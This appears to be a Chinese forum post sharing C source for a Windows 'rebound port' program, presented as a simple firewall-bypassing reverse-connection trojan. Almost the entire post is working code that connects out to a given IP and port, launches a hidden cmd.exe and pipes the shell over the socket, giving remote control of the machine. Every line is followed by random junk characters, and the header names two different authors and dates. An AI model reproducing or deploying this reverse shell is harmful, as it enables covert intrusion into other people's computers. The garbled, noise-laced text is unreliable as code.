这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uc@f# (-
V:*QK,
/* ============================== G<9UL*HU
Rebound port in Windows NT 8YJ8_$Z
By wind,2006/7 qP<wf=wY
===============================*/ y#HDJ=2
#include \^9SuZ
#include uop|8n1
f5jxF"oGNo
#pragma comment(lib,"wsock32.lib") Q70LQCms
]*a3J45
void OutputShell(); iOI8'`mk
SOCKET sClient; m\~{l=jIS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h~rSM#7m
_w8iPL5:
void main(int argc,char **argv) j,")c'r&dD
{ y=) Cid
WSADATA stWsaData; n:cre}0.
int nRet; SXn\k;F<
SOCKADDR_IN stSaiClient,stSaiServer; @l~zn%!X
T0xU}
if(argc != 3) *C*n (the
{ sqw^Hwy=!2
printf("Useage:\n\rRebound DestIP DestPort\n"); 5\Sm^t|Tx
return; yrO\\No#H
} eyK=F:GO
3*9<JHu
WSAStartup(MAKEWORD(2,2),&stWsaData); |T: 'G
e1ru#'z
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >gqM|-uY
1Wzm51RU
stSaiClient.sin_family = AF_INET; .JIn(
stSaiClient.sin_port = htons(0); ZW\}4q;[A
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .^BL7
W$=MuF7R
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JAM4
R_
{ C
FY 3D|
printf("Bind Socket Failed!\n"); 1PLxc)LsG
return; <
&[=,R0 @
} ?k)(~Y&@p
{Rb|";
stSaiServer.sin_family = AF_INET; _Wn5*
Pi%Z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -gZI^EII
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U JO
P+r-t8
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p3Uus''V4
{ >q0c!,Ay
printf("Connect Error!"); KF&1Y>t=
return; sV{M#UF2
} HhkubG)\
OutputShell(); S~auwY ,<
} w@U`@})r.
};%l <Ui;
void OutputShell() _U<sz{6
{ NsYeg&>`
char szBuff[1024]; u\gPx4]4c
SECURITY_ATTRIBUTES stSecurityAttributes; n~xh
%r;
OSVERSIONINFO stOsversionInfo; dQ+{Dv3A
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qI,4uGg
STARTUPINFO stStartupInfo; }{<@wE%s
char *szShell; V<f76U)
PROCESS_INFORMATION stProcessInformation; ts rcX
unsigned long lBytesRead; |`d5Y#26
r9@4-U7v&
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bd8,~8
oW]~\vp^0
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _\M:h+^
stSecurityAttributes.lpSecurityDescriptor = 0; OEc$ro=m*
stSecurityAttributes.bInheritHandle = TRUE; 48
DC
V6%J9+DK
?ysC7((
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'Dl31w%:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (vHB`@x
;<qv-$P
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RM2<%$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G5~ Jp#uA
stStartupInfo.wShowWindow = SW_HIDE; :p^7XwX%w
stStartupInfo.hStdInput = hReadPipe; X.V6v4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CFqteY"
c=]z%+,b]
GetVersionEx(&stOsversionInfo); u*/.
B16,c9[
switch(stOsversionInfo.dwPlatformId) cnfjOg'\{
{ J)R;NYl
case 1: E>xd*23+\
szShell = "command.com"; w>M8FG(4]
break; 'Q\I@s }
default: m4FT^^3yE
szShell = "cmd.exe"; pUV3n
1{2
break; ~Xa8\>
} "W:#4@
F
#kD8U#
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 83io@*D
$J8?!Xg
send(sClient,szMsg,77,0); fz
H$`X'M
while(1) S+LE ASOr
{ 1^<R2x
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); We]mm3M3
if(lBytesRead) NijvFT$V1
{ .32]$vx
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Nrp0z:
send(sClient,szBuff,lBytesRead,0); RLkP)+t
} +m Plid\
else md8r"
{ %hcn|-"F
lBytesRead=recv(sClient,szBuff,1024,0); oZ%rzLH
if(lBytesRead<=0) break; biZwxP3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5(F @KeH>
} e$krA!zN
} 8sm8L\-
8 /3`rEW
return; fh rS7f'Zd
}